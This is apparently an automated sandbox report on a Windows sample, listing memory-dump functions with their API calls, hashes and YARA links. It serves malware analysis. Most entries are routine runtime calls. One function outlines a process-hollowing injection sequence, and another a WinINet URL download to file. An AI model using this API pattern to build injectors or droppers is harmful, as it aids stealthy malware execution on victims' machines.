API String ID: 2560199156-0
Opcode ID: 8bd612e4ac0b7a6c499b4e183cd647f8e183df1dc78fe1f5b3e2de584105e6f6
Instruction ID: fbec694aeb67889c12343c41bba58b19f30b373c3769648edabb3bda5ad64621
Opcode Fuzzy Hash: 8bd612e4ac0b7a6c499b4e183cd647f8e183df1dc78fe1f5b3e2de584105e6f6
Instruction Fuzzy Hash: 1D0188625056127B373125AA1C88CBF7DBDDFD5954314016CFA80D214CEB6ECD0186B1

Uniqueness

Uniqueness Score: -1.00%

Function 01016754, Relevance: 4.6, APIs: 3, Instructions: 61COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(00000000,00000000,01003D80,?,01016682,01003D80,0102E1C8,0000000C,01016734,0102E0A8), ref: 010167AA
GetLastError.KERNEL32(?,01016682,01003D80,0102E1C8,0000000C,01016734,0102E0A8), ref: 010167B4
__dosmaperr.LIBCMT ref: 010167DF

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID: ChangeCloseErrorFindLastNotification__dosmaperr
String ID:
API String ID: 490808831-0
Opcode ID: 4c27e45bfeb7a6c7de57c84ab51492736d1d16f5b99a69986fe06ad6666c5e7f
Instruction ID: b6201e987d2529bcc337903e9cdae698bf879a4254a364d62c1d28b9d9d016d7
Opcode Fuzzy Hash: 4c27e45bfeb7a6c7de57c84ab51492736d1d16f5b99a69986fe06ad6666c5e7f
Instruction Fuzzy Hash: A0016B3260412006D6752678DD847BE37C96B86734F38019CE9988B1C9FABF88894290

Uniqueness

Uniqueness Score: -1.00%

Function 01005062, Relevance: 3.3, APIs: 2, Instructions: 279COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 01005065

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: fdbc37d5b0c8cba6ab45893b0fed4614caf49de4e1e9cdd761924043611dd495
Instruction ID: 945090c83f47416b642fbf8eefa3761173b865e9345741243b593cf9258f213b
Opcode Fuzzy Hash: fdbc37d5b0c8cba6ab45893b0fed4614caf49de4e1e9cdd761924043611dd495
Instruction Fuzzy Hash: C2817B316102056BFB1EEB38CC85BEE7A66AF86310F54861CF5C49B2D5D739DA80CB91

Uniqueness

Uniqueness Score: -1.00%

Function 010053D7, Relevance: 3.3, APIs: 2, Instructions: 276COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 010053DA

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 0807609f7509229436e87324858e8cb4e6c7ba36c4dc54816d6af44550906b61
Instruction ID: 7c3366405af65b97b9b203faa218ca28bc8a56afce15df7aadee39f1362c3aae
Opcode Fuzzy Hash: 0807609f7509229436e87324858e8cb4e6c7ba36c4dc54816d6af44550906b61
Instruction Fuzzy Hash: CD8189316102055BFB1AEB78CC85BEEBA66EF96310F14861CF5C49B2D1D739DA80CB91

Uniqueness

Uniqueness Score: -1.00%

Function 010054FE, Relevance: 3.3, APIs: 2, Instructions: 275COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 01005501

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: cb2c11bb64c3171d462f3f93284be1be9c69aa3c8968e48b4c93dfea327abbb8
Instruction ID: 8685ed9f65bd353b37d1994d83f5c694fd9035a20450aefc4e1fdb7748887aa8
Opcode Fuzzy Hash: cb2c11bb64c3171d462f3f93284be1be9c69aa3c8968e48b4c93dfea327abbb8
Instruction Fuzzy Hash: FD8169316102055BFB1AEB38CC85BEE7A66EF96310F14865CF584DB2D5D739DA80CB90

Uniqueness

Uniqueness Score: -1.00%

Function 01005625, Relevance: 3.3, APIs: 2, Instructions: 274COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 01005628

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 2b52be854e3110c668572c4d6d076ceef3108c3483ef152501289d8236a4ae5f
Instruction ID: a0c6a893f49520be2f4fec6f2f0adf309e2d3c293cc21a632c6a9bd0b39045d4
Opcode Fuzzy Hash: 2b52be854e3110c668572c4d6d076ceef3108c3483ef152501289d8236a4ae5f
Instruction Fuzzy Hash: 118179316102055BFB1AEB38DC85BEEBB66EF96310F14861CF5859B2D5D739CA80CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0100574C, Relevance: 3.3, APIs: 2, Instructions: 273COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0100574F

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: ba679153ca3f115817c93d2ed95753e5624e9b493cde67625ef17f3f82e991d0
Instruction ID: 9969cf8fd694a6bda97ef2f4a7ae1f3400398508abcb729b589956bea16ca235
Opcode Fuzzy Hash: ba679153ca3f115817c93d2ed95753e5624e9b493cde67625ef17f3f82e991d0
Instruction Fuzzy Hash: 17819A316102059BFB1AEB38CC88BEE7A66AF95310F14861CF5C49B2D1D739DA80CB90

Uniqueness

Uniqueness Score: -1.00%

Function 01005873, Relevance: 3.3, APIs: 2, Instructions: 272COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 01005876

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 87068f19eebb29db1f813a5862ed30eb94bcfd8625481d5ca010c81f95d63b77
Instruction ID: 9ab29f4698e55fb1f03a3ce9fe90d0e862e38ecae698e028c9cdd09fe3cfaef5
Opcode Fuzzy Hash: 87068f19eebb29db1f813a5862ed30eb94bcfd8625481d5ca010c81f95d63b77
Instruction Fuzzy Hash: 0E817A31A001055BFB1DEB78CC88BEE7A66AF56310F54861CF5C49B2D5D739DA80CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0100599A, Relevance: 3.3, APIs: 2, Instructions: 271COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0100599D

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: be349605d71bc7d54129c2a0edbb138ddd060d3764ba89c740f12228970f8314
Instruction ID: 62374c646ac8632a7d19346cfe26a4af00192b8cf3ee7ec766914653d5671506
Opcode Fuzzy Hash: be349605d71bc7d54129c2a0edbb138ddd060d3764ba89c740f12228970f8314
Instruction Fuzzy Hash: 948189316002055BFB1AEB38CC89BEE7A66EF96310F14861CF5C48B2D5D739DA80CB91

Uniqueness

Uniqueness Score: -1.00%

Function 01007F93, Relevance: 3.2, APIs: 2, Instructions: 186COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNELBASE(?,00000000), ref: 01007FA5
GetFileAttributesA.KERNELBASE(?), ref: 01007FB7

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID: AttributesCreateDirectoryFile
String ID:
API String ID: 3401506121-0
Opcode ID: 4ea59f69ac0dbef850c124f9df334c678d91eda8cf4f2954ec616ea565cc1407
Instruction ID: 04aef57b5303b2f63a22d0fd9851adb8cc3747c6765fb6ed6c8c398e5e21d81d
Opcode Fuzzy Hash: 4ea59f69ac0dbef850c124f9df334c678d91eda8cf4f2954ec616ea565cc1407
Instruction Fuzzy Hash: FF518A71E001095BFB0AEA7CCC85BEDBB2AFF85220F648619F9C4A72C1D735D9814B91

Uniqueness

Uniqueness Score: -1.00%

Function 010151DE, Relevance: 3.0, APIs: 2, Instructions: 33COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 01015226

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 53e3327dba3442658012c0631043b9005c4d1921e189060fabaae0c4da5b7928
Instruction ID: b28a9701675c57fb10bc77f1ce0491d171577c607ca80250045ce517470dc7bd
Opcode Fuzzy Hash: 53e3327dba3442658012c0631043b9005c4d1921e189060fabaae0c4da5b7928
Instruction Fuzzy Hash: 6FE0ED3360581282E262763E7C452FA16D9ABC7331F110326F4E4CE0CCEFBE44024295

Uniqueness

Uniqueness Score: -1.00%

Function 01005BAE, Relevance: 1.8, APIs: 1, Instructions: 298COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID: PathTempVersion
String ID:
API String ID: 261301950-0
Opcode ID: cd53306f684e4ffda576f00397b3fe945057c86ff51119c0b8bca43e3acce8b4
Instruction ID: 09b0c3bb28fcbaf4f9c13bc1042a376b71a608d821d46cb2a8ca66e40691d3a7
Opcode Fuzzy Hash: cd53306f684e4ffda576f00397b3fe945057c86ff51119c0b8bca43e3acce8b4
Instruction Fuzzy Hash: 7891A931A002056BFB1AEB38CC89BEE7A66EF51310F14861CF5C49B2D1D779CA80CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0101645F, Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 01016499

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: b6d45e6bb48f8cc11922ccc21fe053cff1f5d15c2bdf907683777c7423822a33
Instruction ID: 9935f2f8c9e8550b854cfb0d6d63f4e6ef98bacd914d36bb415c357aa3c69319
Opcode Fuzzy Hash: b6d45e6bb48f8cc11922ccc21fe053cff1f5d15c2bdf907683777c7423822a33
Instruction Fuzzy Hash: F7111871A0410AAFCF15DF98E9409DA7BF5EF48304F044099F809AB351DA75D911CB64

Uniqueness

Uniqueness Score: -1.00%

Function 01017B94, Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

Part of subcall function 0101AD8F: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,01017094,00000001,00000364,00000006,000000FF,?,?,0101320C,01016627,?,?,010156FE), ref: 0101ADD0

_free.LIBCMT ref: 01017C03

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 8bedc48bd71ed51189256198d5362878c3b97d26ee5e3fae265640fe63e848fe
Instruction ID: 7993247d40d95944afb29886315a80115d588f3800eac0621dca50fd0c176b95
Opcode Fuzzy Hash: 8bedc48bd71ed51189256198d5362878c3b97d26ee5e3fae265640fe63e848fe
Instruction Fuzzy Hash: FF01F972604356ABC3229F58C8819D9FBD8FB05370F15066DE585A76C0E7746C11C7E4

Uniqueness

Uniqueness Score: -1.00%

Function 010123FB, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ac35988d4f62eb19bd12ff3c09ffffb1682d500d0be95884ae34b2de8b987a0
Instruction ID: 9c8212d6e656e77e4c284b584796afac5f52e65fa9251bb7646f030b5bbd8261
Opcode Fuzzy Hash: 3ac35988d4f62eb19bd12ff3c09ffffb1682d500d0be95884ae34b2de8b987a0
Instruction Fuzzy Hash: B3F078320816015BC6223B6DDC04BEA36A89F62334F200725E8F0831D8DFBEE4028AE1

Uniqueness

Uniqueness Score: -1.00%

Function 0101DB6A, Relevance: 1.5, APIs: 1, Instructions: 42COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0101DBCD

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 9ba8c6d62c837557b7d10db139ff9f6489b14aed1980b721ae02a396919f42ec
Instruction ID: ff8fffeaad9f9857a79ca5adfc06f9b285217931cc19cb7728d7258fb3166952
Opcode Fuzzy Hash: 9ba8c6d62c837557b7d10db139ff9f6489b14aed1980b721ae02a396919f42ec
Instruction Fuzzy Hash: 57018F72C0015AFFCF01AFE88C049EE7FF5BF08210F140165F955E21A4E6358A20DB80

Uniqueness

Uniqueness Score: -1.00%

Function 0101AD8F, Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,01017094,00000001,00000364,00000006,000000FF,?,?,0101320C,01016627,?,?,010156FE), ref: 0101ADD0

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: df70fbfbfcd11526aedc5516ab494931ca582eb97107cd4d96c2491976cdbffa
Instruction ID: f377d7c8d1bc50d53540ff24fc414a9e1d91f474d480d7cfbe8ff79ececc978d
Opcode Fuzzy Hash: df70fbfbfcd11526aedc5516ab494931ca582eb97107cd4d96c2491976cdbffa
Instruction Fuzzy Hash: 51F0BB31302965EBE7613A6A8904BAA3F99AF41672F454151ED86DB18CCB2CD40082A0

Uniqueness

Uniqueness Score: -1.00%

Function 0101EFE6, Relevance: 1.5, APIs: 1, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 01016AEA: RtlAllocateHeap.NTDLL(00000000,?,?,?,0101B9A2,00000220,?,?,?,?,?,?,01013272,?), ref: 01016B1C

_free.LIBCMT ref: 0101F006

Part of subcall function 01016601: HeapFree.KERNEL32(00000000,00000000,?,010156FE), ref: 01016617
Part of subcall function 01016601: GetLastError.KERNEL32(?,?,010156FE), ref: 01016629

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$AllocateErrorFreeLast_free
String ID:
API String ID: 314386986-0
Opcode ID: e31687b0696c3f2db9b249426d633b7df06f1fcefd9f490092ffbd371ce83635
Instruction ID: 6119b9d2f264b40089381e646d8510c9226a2c870f4de20946207717d4936fbb
Opcode Fuzzy Hash: e31687b0696c3f2db9b249426d633b7df06f1fcefd9f490092ffbd371ce83635
Instruction Fuzzy Hash: 42F062721057019FD3359F45D801B96F7ECEF54712F10842FE29A87590DAF9A4458B54

Uniqueness

Uniqueness Score: -1.00%

Function 01016AEA, Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,0101B9A2,00000220,?,?,?,?,?,?,01013272,?), ref: 01016B1C

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 6d368237a1e7d640c2b1489e98c0abc2a5305c5c7eda8690aa6f3e055e8edca9
Instruction ID: 0dbca43d887c11cdcff17f900080cdc5ade755d4ca4ada4279845fc9edcc6772
Opcode Fuzzy Hash: 6d368237a1e7d640c2b1489e98c0abc2a5305c5c7eda8690aa6f3e055e8edca9
Instruction Fuzzy Hash: 0EE0E531241116AAEA712A6D9C54F9A3ECCBB523A0F0101A4FDC496188EBEEE84082A1

Uniqueness

Uniqueness Score: -1.00%

Function 0101D8B1, Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,00000000,?,0101DCA1,?,?,00000000,?,0101DCA1,00000000,0000000C), ref: 0101D8CE

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: e65343360482a45224eda8ad26847f513845b21c71d762ba5fd1d96e2796089b
Instruction ID: 8abfbc73830343cb8d614cff16db42f874eb580bf335960c3a62cd36148abdd1
Opcode Fuzzy Hash: e65343360482a45224eda8ad26847f513845b21c71d762ba5fd1d96e2796089b
Instruction Fuzzy Hash: DCD06C3200010DBFDF128E84DC06EDA3BAAFB48714F114000FA5856020C736E861EB90

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 01002250, Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 155injectionthreadmemoryCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,00000000,00000000), ref: 0100226C
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?,?,00000000,00000000), ref: 010022C5
VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004,?,00000000,00000000), ref: 010022DE
GetThreadContext.KERNEL32(?,00000000,?,00000000,00000000), ref: 010022F3
ReadProcessMemory.KERNEL32(?,?,?,00000004,00000000,?,00000000,00000000), ref: 01002316
GetModuleHandleA.KERNEL32(ntdll.dll,NtUnmapViewOfSection,?,00000000,00000000), ref: 0100232E
GetProcAddress.KERNEL32(00000000), ref: 01002335
VirtualAllocEx.KERNEL32(?,?,?,00003000,00000040,?,00000000,00000000), ref: 01002354
WriteProcessMemory.KERNEL32(?,00000000,?,?,00000000,?,00000000,00000000), ref: 0100236F
WriteProcessMemory.KERNEL32(?,?,?,?,00000000,?,?,00000000,?,00000000,00000000), ref: 010023AC
WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000,?,?,00000000,?,00000000,00000000), ref: 010023DC
SetThreadContext.KERNEL32(?,00000000,?,?,00000000,?,00000000,00000000), ref: 010023F2
ResumeThread.KERNEL32(?,?,?,00000000,?,00000000,00000000), ref: 010023FB
VirtualFree.KERNEL32(?,00000000,00008000,?,?,00000000,?,00000000,00000000), ref: 01002409
VirtualFree.KERNEL32(?,00000000,00008000,?,00000000,00000000), ref: 01002420

Strings

ntdll.dll, xrefs: 01002329
NtUnmapViewOfSection, xrefs: 01002324

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID: Process$MemoryVirtual$ThreadWrite$AllocContextFreeModule$AddressCreateFileHandleNameProcReadResume
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 4033543172-1050664331
Opcode ID: 71611116d094ddab2b6996fdd76c18bd737b0cbaf2bdeb051f8ff5f0173d9e00
Instruction ID: d259c52e184152f2ab11283bd528a097d26d22c3d06593355c20d7e53667de8d
Opcode Fuzzy Hash: 71611116d094ddab2b6996fdd76c18bd737b0cbaf2bdeb051f8ff5f0173d9e00
Instruction Fuzzy Hash: 2E516B75A40305EBEB319F94DC89FAABBB8FF08705F204064F648EA1C0D7B9A554CB64

Uniqueness

Uniqueness Score: -1.00%

Function 01006980, Relevance: 10.6, APIs: 7, Instructions: 105networkfileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,00000000,6FA2FB10), ref: 010069B5
InternetOpenA.WININET(0102CD15,00000000,00000000,00000000,00000000), ref: 010069CA
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 010069EA
InternetReadFile.WININET(00000000,?,00010000,00010000), ref: 01006A01
CloseHandle.KERNEL32(00000000), ref: 01006A43
InternetCloseHandle.WININET(?), ref: 01006A52
InternetCloseHandle.WININET(00000000), ref: 01006A55

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID: Internet$CloseHandle$FileOpen$CreateRead
String ID:
API String ID: 4113138902-0
Opcode ID: 6ae6029c8af41ae22763e67a058abd1d6ab78e9c45f057c60ae7613e027ed26c
Instruction ID: d36788574d0a70476a31758e8f47e8dca62b2559b809b32112d732287ad18355
Opcode Fuzzy Hash: 6ae6029c8af41ae22763e67a058abd1d6ab78e9c45f057c60ae7613e027ed26c
Instruction Fuzzy Hash: BD31B671340209BBFB21DF64CC85FDE3BA9EB49710F604119FA84971C1D7B9E9948B60

Uniqueness

Uniqueness Score: -1.00%

Function 01004010, Relevance: 7.7, APIs: 5, Instructions: 212COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(0000011C), ref: 01004066

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: bfbe9b56af32fb859374d88c7afb5ed3811ad6db4fbe668169b8b40c8781ff11
Instruction ID: 70b5baedcce4eb25ce50bdbe034d718051d639e768cca8c86246e2e055d9143e
Opcode Fuzzy Hash: bfbe9b56af32fb859374d88c7afb5ed3811ad6db4fbe668169b8b40c8781ff11
Instruction Fuzzy Hash: EB611671E092099BFB32DA68EC453EDBBF4EB51314F50029AED84D72C5E77A498087C5

Uniqueness

Uniqueness Score: -1.00%

Function 0101E94F, Relevance: 4.7, APIs: 3, Instructions: 171timeCOMMON

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,0102B608), ref: 0101E9B9
_free.LIBCMT ref: 0101E9A7

Part of subcall function 01016601: HeapFree.KERNEL32(00000000,00000000,?,010156FE), ref: 01016617
Part of subcall function 01016601: GetLastError.KERNEL32(?,?,010156FE), ref: 01016629

_free.LIBCMT ref: 0101EB73

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapInformationLastTimeZone
String ID:
